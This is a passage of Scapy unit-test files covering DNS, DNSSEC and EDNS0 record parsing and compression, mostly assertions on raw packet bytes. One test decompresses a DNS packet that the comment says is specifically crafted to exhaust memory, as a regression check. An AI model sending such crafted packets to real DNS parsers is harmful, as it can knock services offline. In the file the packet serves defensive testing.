b'\\ncloudflare\\x03com\\x00\\x00A\\x00\\x01\\x00\\x00\\x00>\\x00=\\x00\\x01\\x00\\x00\\x01\\x00\\x06\\x02h3\\x02h2\\x00\\x04\\x00\\x08h\\x10\\x84\\xe5h\\x10\\x85\\xe5\\x00\\x06\\x00 &\\x06G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00h\\x10\\x84\\xe5&\\x06G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00h\\x10\\x85\\xe5'\n\np = DNSRRHTTPS(b)\nassert p.type == 65 and p.ttl == 62 and p.svc_priority == 1 and p.target_name == b'.'\n\nalpn = SvcParam(key='alpn', value=['h3', 'h2'])\nipv4hint = SvcParam(key='ipv4hint', value=['104.16.132.229', '104.16.133.229'])\nipv6hint = SvcParam(key='ipv6hint', value=['2606:4700::6810:84e5', '2606:4700::6810:85e5'])\n\nassert raw(p.svc_params[0]) == raw(alpn)\nassert raw(p.svc_params[1]) == raw(ipv4hint)\nassert raw(p.svc_params[2]) == raw(ipv6hint)\n\nassert b == raw(DNSRRHTTPS(rrname='cloudflare.com', ttl=62, svc_priority=1, target_name='.', svc_params=[alpn, ipv4hint, ipv6hint]))\n\n= DNS - Malformed DNS over TCP message\n\n_old_dbg = conf.debug_dissector\nconf.debug_dissector = True\n\ntry:\n    p = IP(raw(IP()/TCP()/DNS(qd=[],length=28))[:-13])\n    assert False\nexcept Scapy_Exception as e:\n    assert str(e) == \"Malformed DNS message: too small!\"\n\ntry:\n    p = IP(raw(IP()/TCP()/DNS(qd=[],length=28, qdcount=1)))\n    assert False\nexcept Scapy_Exception as e:\n    assert str(e) == \"Malformed DNS message: invalid length!\"\n\nconf.debug_dissector = _old_dbg\n\n= DNS - dns_compress on decompressed packet\n\ndata = b'E\\x00\\x00n~\\x82\\x00\\x00{\\x11\\xae\\xeb\\x08\\x08\\x08\\x08\\x01\\x01\\x01\\x01\\x005\\x005\\x00Z!\\x17\\x00\\x00\\x81\\x80\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x03www\\x06google\\x03com\\x00\\x00\\x0f\\x00\\x01\\xc0\\x10\\x00\\x06\\x00\\x01\\x00\\x00\\x002\\x00&\\x03ns1\\xc0\\x10\\tdns-admin\\xc0\\x10\\x14Po\\x8f\\x00\\x00\\x03\\x84\\x00\\x00\\x03\\x84\\x00\\x00\\x07\\x08\\x00\\x00\\x00<'\n\np = IP(data)\nassert p.ns[0].rrname == b\"google.com.\"\nassert p.ns[0].mname == b\"ns1.google.com.\"\nassert p.ns[0].rname == b\"dns-admin.google.com.\"\ncp = dns_compress(p)\nassert cp.ns[0].rrname == b'\\xc0\\x10'\nassert cp.ns[0].mname == b'\\x03ns1\\xc0\\x10'\nassert cp.ns[0].rname == b'\\tdns-admin\\xc0\\x10'\np = IP(raw(cp))\nassert p.ns[0].rrname == b\"google.com.\"\nassert p.ns[0].mname == b\"ns1.google.com.\"\nassert p.ns[0].rname == b\"dns-admin.google.com.\"\n\n= DNS - dns_compress on close indexes\n\np = dns_compress(DNS(qd=DNSQR(qname=b'scapy.'), an=DNSRR(rrname=b'scapy.'), ar=DNSRROPT(rrname=b'.')))\nassert raw(p) == b'\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x01\\x05scapy\\x00\\x00\\x01\\x00\\x01\\xc0\\x0c\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00)\\x10\\x00\\x00\\x00\\x80\\x00\\x00\\x00'\n\np = DNS(raw(p))\nassert p.qd[0].qname == b'scapy.'\nassert p.an[0].rrname == b'scapy.'\nassert p.ar[0].rrname == b'.'\n\n= DNS - dns_compress with 1-length strings\n\ndata = b'\\xac\\x81\\x81\\x80\\x00\\x01\\x00\\x06\\x00\\r\\x00\\x00\\x04mqtt\\x0bweatherflow\\x03com\\x00\\x00\\x01\\x00\\x01\\xc0\\x0c\\x00\\x05\\x00\\x01\\x00\\x00\\x00\\xe4\\x00<!weatherflow-mqtt-904569b6a89a9ad5\\x03elb\\tus-east-1\\tamazonaws\\xc0\\x1d\\xc02\\x00\\x01\\x00\\x01\\x00\\x00\\x00<\\x00\\x046\\x9c\\xff\\xb3\\xc02\\x00\\x01\\x00\\x01\\x00\\x00\\x00<\\x00\\x046Q\\'\\xdd\\xc02\\x00\\x01\\x00\\x01\\x00\\x00\\x00<\\x00\\x04,\\xd9\\xc4\\x8e\\xc02\\x00\\x01\\x00\\x01\\x00\\x00\\x00<\\x00\\x04\\x03\\\\\\x8c2\\xc02\\x00\\x01\\x00\\x01\\x00\\x00\\x00<\\x00\\x04\"\\xeeff\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x14\\x01b\\x0croot-servers\\x03net\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01k\\xc0\\xcb\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01f\\xc0\\xcb\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01c\\xc0\\xcb\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01d\\xc0\\xcb\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01l\\xc0\\xcb\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01e\\xc0\\xcb\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01j\\xc0\\xcb\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01i\\xc0\\xcb\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01m\\xc0\\xcb\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01a\\xc0\\xcb\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01h\\xc0\\xcb\\x00\\x00\\x02\\x00\\x01\\x00\\x04])\\x00\\x04\\x01g\\xc0\\xcb'\n\np = DNS(data)\ncmp = p.compress()\nassert bytes(cmp) == data\n\n= DNS - dns_compress with pointer b'\\xc0.'\n\ndata = b'\\x00\\x02\\x81\\x00\\x00\\x01\\x00\\x03\\x00\\x00\\x00\\x00\\x05forms\\x06office\\x03com\\x00\\x00\\x01\\x00\\x01\\xc0\\x0c\\x00\\x05\\x00\\x01\\x00\\x00\\x01\\x1b\\x00&\\x05forms\\x06office\\x03com\\x06b-0039\\x08b-msedge\\x03net\\x00\\xc0.\\x00\\x05\\x00\\x01\\x00\\x00\\x00\\xdf\\x00\\x02\\xc0?\\xc0?\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\xdf\\x00\\x04\\rk\\x06\\xc2'\n\np = DNS(data)\ncmp = p.compress()\nassert bytes(cmp) == data\n\n= DNS - dns_encode edge cases\n\nassert dns_encode(b\"www.google.com\") == b'\\x03www\\x06google\\x03com\\x00'\nassert dns_encode(b\"*\") == b'\\x01*\\x00'\nassert dns_encode(dns_encode(b\"*\")) == b'\\x03\\x01*\\x00'\n\n= DNS - simple request\n\nassert raw(DNS()) == b'\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x03www\\x07example\\x03com\\x00\\x00\\x01\\x00\\x01'\n\n= DNS - OOM test\n% parse a DNS packet specifically crafted for OOM\n\nimport zlib\ndata = zlib.decompress(b'x\\x9c\\xed\\xce!\\n\\xc2`\\x00\\x80\\xd1\\x7f\\x0c\\xc1\\xbal\\xf1\\x12\\x1e\\xc0 Vob3\\xaf+\\xec\\x02\\xbb\\x82x\\x83\\xb1\"\\xa2\\xc1\\xac\\x06\\x9b\\xc9\\xb0\"\\x0b3\\xccdV\\x93\\xa0\\x0f^\\xfc\\xc2w^\\x16U\\x88\\x8a\\xd5n\\xdf\\xb6\\xdd0\\n\\xf5q\\xb1\\t!M&Y>K\\xae\\xf9\\xacw\\t\\x83\\xe8V\\xaf\\x0f\\xa7m\\xdaV\\xf78z\\xad\\x1f\\xbf\\x95=5\\xd9\\x071\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\x0f\\xe94\\xdf\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\xff\\x15\\x85\\xe18.\\xcbrZ\\xce\\x1f5u\\n\\xd1')\n\n# measure the time it takes\nold_max_list_count = conf.max_list_count\nconf.max_list_count = 10\nimport time\nt = time.monotonic()\n\nwith no_debug_dissector():\n    try:\n        dns = Ether(data)\n    except MaximumItemsCount:\n        pass\n\ndelta = time.monotonic() - t\nassert delta < 10\n\nconf.max_list_count = old_max_list_count\n\n= DNS - Backward compatibility: keep deprecated behavior\n~ dns\n\n# Get through a list (should be pkt.an[0].rdata)\nc = b'\\x01\\x00^\\x00\\x00\\xfb\\x14\\x0cv\\x8f\\xfe(\\x08\\x00E\\x00\\x01C\\xe3\\x91@\\x00\\xff\\x11\\xf4u\\xc0\\xa8\\x00\\xfe\\xe0\\x00\\x00\\xfb\\x14\\xe9\\x14\\xe9\\x01/L \\x00\\x00\\x84\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x05_raop\\x04_tcp\\x05local\\x00\\x00\\x0c\\x00\\x01\\x00\\x00\\x11\\x94\\x00\\x1e\\x1b140C768FFE28@Freebox Server\\xc0\\x0c\\xc0(\\x00\\x10\\x80\\x01\\x00\\x00\\x11\\x94\\x00\\xa0\\ttxtvers=1\\x08vs=190.9\\x04ch=2\\x08sr=44100\\x05ss=16\\x08pw=false\\x06et=0,1\\x04ek=1\\ntp=TCP,UDP\\x13am=FreeboxServer1,2\\ncn=0,1,2,3\\x06md=0,2\\x07sf=0x44\\x0bft=0xBF0A00\\x08sv=false\\x07da=true\\x08vn=65537\\x04vv=2\\xc0(\\x00!\\x80\\x01\\x00\\x00\\x00x\\x00\\x19\\x00\\x00\\x00\\x00\\x13\\x88\\x10Freebox-Server-3\\xc0\\x17\\xc1\\x04\\x00\\x01\\x80\\x01\\x00\\x00\\x00x\\x00\\x04\\xc0\\xa8\\x00\\xfe'\npkt = Ether(c)\nwith warnings.catch_warnings(record=True) as w:\n    warnings.simplefilter(\"always\")\n    assert pkt.an.rdata == b'140C768FFE28@Freebox Server._raop._tcp.local.'\n    assert len(w) == 1 and issubclass(w[-1].category, DeprecationWarning)\n\n# Set qd to None (should be qd=[])\nwith warnings.catch_warnings(record=True) as w:\n    warnings.simplefilter(\"always\")\n    pkt = DNS(qr=1, qd=None, aa=1, rd=1)\n    assert len(w) == 1 and issubclass(w[-1].category, DeprecationWarning)\n\npkt = DNS(bytes(pkt))\nassert pkt.qd == []\n\n= DNS - command\n\np = DNS()\nassert p == eval(p.command())\n\np = DNS(qd=[])\nassert p == eval(p.command())\n\n= DNS - iter through DNSStrFields\n\npkt = DNSQR(qname=[\"domain1.com\", \"domain2.com\"], qtype=\"A\")\nfor i in pkt:\n    assert i.qname in [b\"domain1.com.\", b\"domain2.com.\"]\n\nb = b'\\x00\\x08\\x00\\x0c\\x00\\x02=\\x00+\\xaf\\xa3\\xc4\\xed\\xeeW\\xb8'\np = EDNS0ClientSubnet(b)\nassert p.source_plen == 61 and p.address == '2baf:a3c4:edee:57b8::'\n"
  },
  {
    "path": "test/scapy/layers/dns_dnssec.uts",
    "content": "# DNSSEC Resource Record unit tests\n#\n# Type the following command to launch start the tests:\n# $ sudo bash test/run_tests -t test/dnssecRR.uts -F\n\n+ bitmap2RRlist()\n\n= example from RFC 4034\nRRlist2bitmap([1, 15, 46, 47, 1234]) == b'\\x00\\x06@\\x01\\x00\\x00\\x00\\x03\\x04\\x1b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20'\n\n= [0]\nRRlist2bitmap([0]) == b'\\x00\\x01\\x80'\n\n= [0,1,2,3,4,5,6,7]\nRRlist2bitmap([0,1,2,3,4,5,6,7]) == b'\\x00\\x01\\xff'\n\n= [256,512,4096,36864]\nRRlist2bitmap([256,512,4096,36864]) == b'\\x01\\x01\\x80\\x02\\x01\\x80\\x10\\x01\\x80\\x90\\x01\\x80'\n\n= [65535]\nRRlist2bitmap([65535]) == b'\\xff\\x20\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n+ From RRlist2bitmap() to bitmap2RRlist()\n\n= example from RFC 4034\nb = b'\\x00\\x06@\\x01\\x00\\x00\\x00\\x03\\x04\\x1b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20'\nRRlist2bitmap(bitmap2RRlist(b)) == b\n\n= [0]\nb= b'\\x00\\x01\\x80'\nRRlist2bitmap(bitmap2RRlist(b)) == b\n\n= [0,1,2,3,4,5,6,7]\nb = b'\\x00\\x01\\xff'\nRRlist2bitmap(bitmap2RRlist(b)) == b\n\n= [256,512,4096,36864]\nb = b'\\x01\\x01\\x80\\x02\\x01\\x80\\x10\\x01\\x80\\x90\\x01\\x80'\nRRlist2bitmap(bitmap2RRlist(b)) == b\n\n= [65535]\nb = b'\\xff\\x20\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\nRRlist2bitmap(bitmap2RRlist(b)) == b\n\n+ Test NSEC RR\n\n= DNSRRNSEC(), basic instantiation\nt = DNSRRNSEC()\nraw(t) == b'\\x00\\x00/\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00'\n\n= DNSRRRNSEC(), check parameters\nt = DNSRRNSEC(rrname=\"scapy.secdev.org.\", rclass=42, ttl=28, nextname=\"www.secdev.org.\", typebitmaps=RRlist2bitmap([1,2,3,4,1234]))\nraw(t) == b'\\x05scapy\\x06secdev\\x03org\\x00\\x00/\\x00*\\x00\\x00\\x00\\x1c\\x000\\x03www\\x06secdev\\x03org\\x00\\x00\\x01x\\x04\\x1b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 '\n\n+ Test NSEC3 RR\n\n= DNSRRNSEC3(), basic instantiation\nt = DNSRRNSEC3()\nraw(t) == b'\\x00\\x002\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DNSRRRNSEC3(), check parameters\nt = DNSRRNSEC3(rrname=\"scapy.secdev.org.\", rclass=42, ttl=28, hashalg=7, iterations=80, saltlength=28, salt=b\"\\x28\\x07\", hashlength=31, nexthashedownername=\"XXX.scapy.secdev.org\", typebitmaps=RRlist2bitmap([1,2,3,4,1234]))\nraw(t) == b'\\x05scapy\\x06secdev\\x03org\\x00\\x002\\x00*\\x00\\x00\\x00\\x1c\\x00<\\x07\\x00\\x00P\\x1c(\\x07\\x1fXXX.scapy.secdev.org\\x00\\x01x\\x04\\x1b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 '\n\n+ Test NSEC3PARAM RR\n\n= DNSRRNSEC3PARAM(), basic instantiation\nt = DNSRRNSEC3PARAM()\nraw(t) == b'\\x00\\x003\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00'\n\n= DNSRRRNSEC3PARAM(), check parameters\nt = DNSRRNSEC3(rrname=\"scapy.secdev.org.\", rclass=42, ttl=28, hashalg=7, flags=80, iterations=80, saltlength=28, salt=b\"\\x28\\x07\")\nraw(t) == b'\\x05scapy\\x06secdev\\x03org\\x00\\x002\\x00*\\x00\\x00\\x00\\x1c\\x00\\x08\\x07P\\x00P\\x1c(\\x07\\x00'\n\n+ Test RRSIG RR\n\n= DNSRRRSIG(), basic instantiation\nt = DNSRRRSIG()\nraw(t) == b'\\x00\\x00.\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DNSRRRSIG(), check parameters\nt = DNSRRRSIG(rrname=\"test.example.com.\", type=46, rclass=12, ttl=64, originalttl=2807, keytag=42, signersname=\"test.rsig\", signature=\"test RSIG\")\nraw(t) == b'\\x04test\\x07example\\x03com\\x00\\x00.\\x00\\x0c\\x00\\x00\\x00@\\x00&\\x00\\x01\\x05\\x00\\x00\\x00\\n\\xf7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00*\\x04test\\x04rsig\\x00test RSIG'\n\n= DNSRRRSIG(), dissection\nrrsig = b'\\x03isc\\x03org\\x00\\x00.\\x00\\x01\\x00\\x00\\x96O\\x00\\x9b\\x00\\x02\\x05\\x02\\x00\\x00\\xa8\\xc0K-3\\xd9K\\x05\\xa6\\xd9\\xed6\\x03isc\\x03org\\x00\\xac\\xb2_I\\x9e\\xdcU\\xca/3\\x1c\\xdf{\\xba\\xd5\\x80\\xb0 \\xa4~\\x98\\x95\\xab~\\x84\\xb2\\x1f9\\x17#\\x7f\\xfeP\\xb9\\xfb\\x8d\\x13\\x19\\xd7\\x7f\\x9e/\\x1c\\xd7rv<\\xc6\\xd3\\xf1\\xae8\\rh\\xba\\x1e\\xaa\\xe6\\xf1\\x1e\\x1d\\xdaS\\xd4\\\\\\xfd\\xa3`P\\xa1\\xe0\\xa2\\x860\\xd4?\\xb4}j\\x81O\\x03\\xdc&v\\x13\\xd4(k\\xa07\\x8f-\\x08e\\x06\\xff\\xb8h\\x8f\\x16j\\xe4\\xd92\\xd2\\x99\\xc2\\xb4'\nt = DNSRRRSIG(rrsig)\nt.rrname == b'isc.org.' and t.labels == 2 and t.keytag == 60726 and t.signature[-4:] == b'\\xd2\\x99\\xc2\\xb4'\n\n+ Test DNSKEY RR\n\n= DNSRRDNSKEY(), basic instantiation\nt = DNSRRDNSKEY()\nraw(t) == b'\\x00\\x000\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x04\\x01\\x00\\x03\\x05' and t.sprintf(\"%flags%\") == 'Z'\n\n= DNSRRDNSKEY(), check parameters\nt = DNSRRDNSKEY(rrname=\"www.secdev.org.\", type=42, rclass=12, ttl=1234, rdlen=567, flags=2807, protocol=195, algorithm=66, publickey=\"strong public key\")\nraw(t) == b'\\x03www\\x06secdev\\x03org\\x00\\x00*\\x00\\x0c\\x00\\x00\\x04\\xd2\\x027\\n\\xf7\\xc3Bstrong public key'\n\n= DNSRRDNSKEY(), dissection\nt = DNSRRDNSKEY(b'\\x03dlv\\x03isc\\x03org\\x00\\x000\\x00\\x01\\x00\\x00\\x1bq\\x01\\t\\x01\\x01\\x03\\x05\\x04@\\x00\\x00\\x03\\xc72\\xef\\xf9\\xa2|\\xeb\\x10N\\xf3\\xd5\\xe8&\\x86\\x0f\\xd6<\\xed>\\x8e\\xea\\x19\\xadm\\xde\\xb9a\\'\\xe0\\xccC\\x08M~\\x94\\xbc\\xb6n\\xb8P\\xbf\\x9a\\xcd\\xdfdJ\\xb4\\xcc\\xd7\\xe8\\xc8\\xfb\\xd27sx\\xd0\\xf8^I\\xd6\\xe7\\xc7g$\\xd3\\xc2\\xc6\\x7f>\\x8c\\x01\\xa5\\xd8VK+\\xcb~\\xd6\\xea\\xb8[\\xe9\\xe7\\x03z\\x8e\\xdb\\xe0\\xcb\\xfaN\\x81\\x0f\\x89\\x9e\\xc0\\xc2\\xdb!\\x81p{C\\xc6\\xeft\\xde\\xf5\\xf6v\\x90\\x96\\xf9\\xe9\\xd8`1\\xd7\\xb9\\xcae\\xf8\\x04\\x8f\\xe8C\\xe7\\x00+\\x9d?\\xc6\\xf2o\\xd3Ak\\x7f\\xc90\\xea\\xe7\\x0cO\\x01e\\x80\\xf7\\xbe\\x8eq\\xb1<\\xf1&\\x1c\\x0b^\\xfdDdc\\xad\\x99~B\\xe8\\x04\\x00\\x03,t=\"\\xb4\\xb6\\xb6\\xbc\\x80{\\xb9\\x9b\\x05\\x95\\\\;\\x02\\x1eS\\xf4p\\xfedq\\xfe\\xfc00$\\xe05\\xba\\x0c@\\xabTv\\xf3W\\x0e\\xb6\\t\\r!\\xd9\\xc2\\xcd\\xf1\\x89\\x15\\xc5\\xd5\\x17\\xfej_T\\x99\\x97\\xd2j\\xff\\xf85b\\xca\\x8c|\\xe9O\\x9fd\\xfdT\\xadL3taK\\x96\\xac\\x13a')\nt.rrname == b\"dlv.isc.org.\" and t.rdlen == 265 and t.sprintf(\"%flags%\") == 'SZ' and t.publickey == b'\\x04@\\x00\\x00\\x03\\xc72\\xef\\xf9\\xa2|\\xeb\\x10N\\xf3\\xd5\\xe8&\\x86\\x0f\\xd6<\\xed>\\x8e\\xea\\x19\\xadm\\xde\\xb9a\\'\\xe0\\xccC\\x08M~\\x94\\xbc\\xb6n\\xb8P\\xbf\\x9a\\xcd\\xdfdJ\\xb4\\xcc\\xd7\\xe8\\xc8\\xfb\\xd27sx\\xd0\\xf8^I\\xd6\\xe7\\xc7g$\\xd3\\xc2\\xc6\\x7f>\\x8c\\x01\\xa5\\xd8VK+\\xcb~\\xd6\\xea\\xb8[\\xe9\\xe7\\x03z\\x8e\\xdb\\xe0\\xcb\\xfaN\\x81\\x0f\\x89\\x9e\\xc0\\xc2\\xdb!\\x81p{C\\xc6\\xeft\\xde\\xf5\\xf6v\\x90\\x96\\xf9\\xe9\\xd8`1\\xd7\\xb9\\xcae\\xf8\\x04\\x8f\\xe8C\\xe7\\x00+\\x9d?\\xc6\\xf2o\\xd3Ak\\x7f\\xc90\\xea\\xe7\\x0cO\\x01e\\x80\\xf7\\xbe\\x8eq\\xb1<\\xf1&\\x1c\\x0b^\\xfdDdc\\xad\\x99~B\\xe8\\x04\\x00\\x03,t=\"\\xb4\\xb6\\xb6\\xbc\\x80{\\xb9\\x9b\\x05\\x95\\\\;\\x02\\x1eS\\xf4p\\xfedq\\xfe\\xfc00$\\xe05\\xba\\x0c@\\xabTv\\xf3W\\x0e\\xb6\\t\\r!\\xd9\\xc2\\xcd\\xf1\\x89\\x15\\xc5\\xd5\\x17\\xfej_T\\x99\\x97\\xd2j\\xff\\xf85b\\xca\\x8c|\\xe9O\\x9fd\\xfdT\\xadL3taK\\x96\\xac\\x13a'\n\n+ Test DS and DLV RR\n\n= DNSRRDS() and DNSRRDLV(), basic instancaition\nds = DNSRRDS()\ndlv = DNSRRDLV(type=43)\nraw(ds) == raw(dlv)\n\n= DNSRRDS(), check parameters\nt = DNSRRDS(b'\\x03isc\\x03org\\x00\\x00+\\x00\\x01\\x00\\x01Q(\\x00\\x182\\\\\\x05\\x01\\x98!\\x13\\xd0\\x8bLj\\x1d\\x9fj\\xee\\x1e\"7\\xae\\xf6\\x9f?\\x97Y')\nt.rrname == b'isc.org.' and t.keytag == 12892 and t.algorithm == 5 and t.digesttype == 1 and t.digest == b'\\x98!\\x13\\xd0\\x8bLj\\x1d\\x9fj\\xee\\x1e\"7\\xae\\xf6\\x9f?\\x97Y'\n\n+ Test TXT RR\n\n= DNSRR(type=\"TXT\") instantiation\nt = DNSRR(type=\"TXT\", rdata=b\"test\")\nassert t.rdata == [b\"test\"]\nassert raw(DNSRR(type=\"TXT\", rdata=[\"hello\", \"DNS\", \"!\"])) == b'\\x00\\x00\\x10\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0c\\x05hello\\x03DNS\\x01!'\n\n= Build DNSRR\nan = DNSRR(type='AAAA', rdata='2001::1')\nan = DNSRR(raw(an))\nassert an.rdata == '2001::1'\n\n= DNSRRR(), check parameters\nt = DNSRR(b'\\x04test\\x00\\x00\\x10\\x00\\x01\\x00\\x00\\x00\\x00\\x018\\xffScapy is an interactive packet manipulation program that enables you to sniff, mangle, send network packets ; test equipment ; probe and discover networks ; quickly develop new protocols. It can easily handle most classical tasks like scanning, tracerout7ing, probing, unit tests, attacks or network discovery.')\nt.type == 16 and t.rdlen == 312 and t.rdata[0][:5] == b\"Scapy\" and t.rdata[1][-10:] == b\"discovery.\"\n\n+ Test DNSRRTSIG RR\n\n= DNSRRTSIG basic instantiation\nt = DNSRRTSIG()\nraw(t) == b\"\\x00\\x00\\xfa\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x1b\\thmac-sha1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n= DNSRRTSIG(), check parameters\nt = DNSRRTSIG(rrname=\"SAMPLE-ALG.EXAMPLE.\", time_signed=853804800, fudge=300)\nraw(t) == b\"\\nSAMPLE-ALG\\x07EXAMPLE\\x00\\x00\\xfa\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x1b\\thmac-sha1\\x00\\x00\\x002\\xe4\\x07\\x00\\x01,\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n= TimeField methods\n\npacked_data = b\"\\x00\\x002\\xe4\\x07\\x00\"\nassert TimeSignedField(\"\", 0).i2m(\"\", 853804800) == packed_data\nassert TimeSignedField(\"\", 0).m2i(\"\", packed_data) == 853804800\nassert TimeSignedField(\"\", 0).i2repr(\"\", 853804800) == \"Tue Jan 21 00:00:00 1997\"\n"
  },
  {
    "path": "test/scapy/layers/dns_edns0.uts",
    "content": "# DNS OPT Resource Record unit tests\n#\n# Type the following command to launch start the tests:\n# $ sudo bash test/run_tests -t test/edns0.uts -F\n\n+ Test EDNS0 rdata\n\n= EDNS0TLV(), basic instantiation\ntlv = EDNS0TLV()\nraw(tlv) == b'\\x00\\x00\\x00\\x00'\n\n= EDNS0TLV(), check parameters\ntlv = EDNS0TLV(optcode=42, optlen=12, optdata=\"edns0tlv\")\nraw(tlv) == b'\\x00*\\x00\\x0cedns0tlv'\n\n= EDNS0TLV(), check computed optlen\ntlv = EDNS0TLV(optdata=\"edns0tlv\")\nraw(tlv) == b'\\x00\\x00\\x00\\x08edns0tlv'\n\n= EDNS0TLV(), dissection\ntlv = EDNS0TLV(b'\\x00*\\x00\\x08edns0tlv')\ntlv.optcode == 42 and tlv.optlen == 8 and tlv.optdata == b\"edns0tlv\"\n\n+ Test OPT RR\n\n= DNSRROPT(), basic instantiation\nopt = DNSRROPT()\nraw(opt) == b'\\x00\\x00)\\x10\\x00\\x00\\x00\\x80\\x00\\x00\\x00'\n\n= DNSRROPT(), check parameters\nopt = DNSRROPT(rrname=\"rropt\", type=42, rclass=123, extrcode=1, version=2, z=3, rdlen=4, rdata=[EDNS0TLV()])\nraw(opt) == b'\\x05rropt\\x00\\x00*\\x00{\\x01\\x02\\x00\\x03\\x00\\x04\\x00\\x00\\x00\\x00'\n\n= DNSRROPT() & EDN0TLV(), check parameters\nopt = DNSRROPT(rrname=\"rropt\", type=42, rclass=123, extrcode=1, version=2, z=3, rdlen=4, rdata=[EDNS0TLV(optcode=42, optlen=12, optdata=\"edns0tlv\")])\nraw(opt) == b'\\x05rropt\\x00\\x00*\\x00{\\x01\\x02\\x00\\x03\\x00\\x04\\x00*\\x00\\x0cedns0tlv'\n\n= DNSRROP(), dissection\nopt = DNSRROPT(b'\\x05rropt\\x00\\x00*\\x00{\\x01\\x02\\x00\\x03\\x00\\x0c\\x00*\\x00\\x0cedns0tlv')\nopt.rrname == b\"rropt.\" and opt.rdlen == 12 and opt.rdata[0].optcode == 42 and opt.rdata[0].optdata == b\"edns0tlv\"\n\n+ Test EDNS-PING\n\n= EDNS-PING - basic instantiation\ntlv = EDNS0TLV(optcode=5, optdata=b\"\\x00\\x11\\x22\\x33\")\nraw(tlv) == b'\\x00\\x05\\x00\\x04\\x00\\x11\"3'\n\n#= EDNS-PING - Live test\n#~ netaccess\n#* NB: 85.17.219.217 and www.edns-ping.org seem down\n#old_debug_dissector = conf.debug_dissector\n#conf.debug_dissector = False\n#r = sr1(IP(dst=\"85.17.219.217\")/UDP()/DNS(qd=[DNSQR(qtype=\"A\", qname=\"www.edns-ping.org.\")], ar=[DNSRROPT(z=0, rdata=[EDNS0TLV(optcode=\"PING\", optdata=b\"\\x00\\x11\\x22\\x33\")])]), timeout=1)\n#conf.debug_dissector = old_debug_dissector\n#len(r.ar) and r.ar.rdata[0].optcode == 4  # XXX: should be 5\n\n+ Test EDNS-COOKIE\n\n= EDNS-COOKIE - basic instantiation\ntlv = EDNS0TLV(optcode=\"COOKIE\", optdata=b\"\\x01\" * 8)\nassert tlv.optcode == 10\nassert raw(tlv) == b\"\\x00\\x0A\\x00\\x08\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\"\n\n+ Test DNS Name Server Identifier (NSID) Option\n\n= NSID- basic instantiation\ntlv = EDNS0TLV(optcode=2, optdata=\"\")\nraw(tlv) == 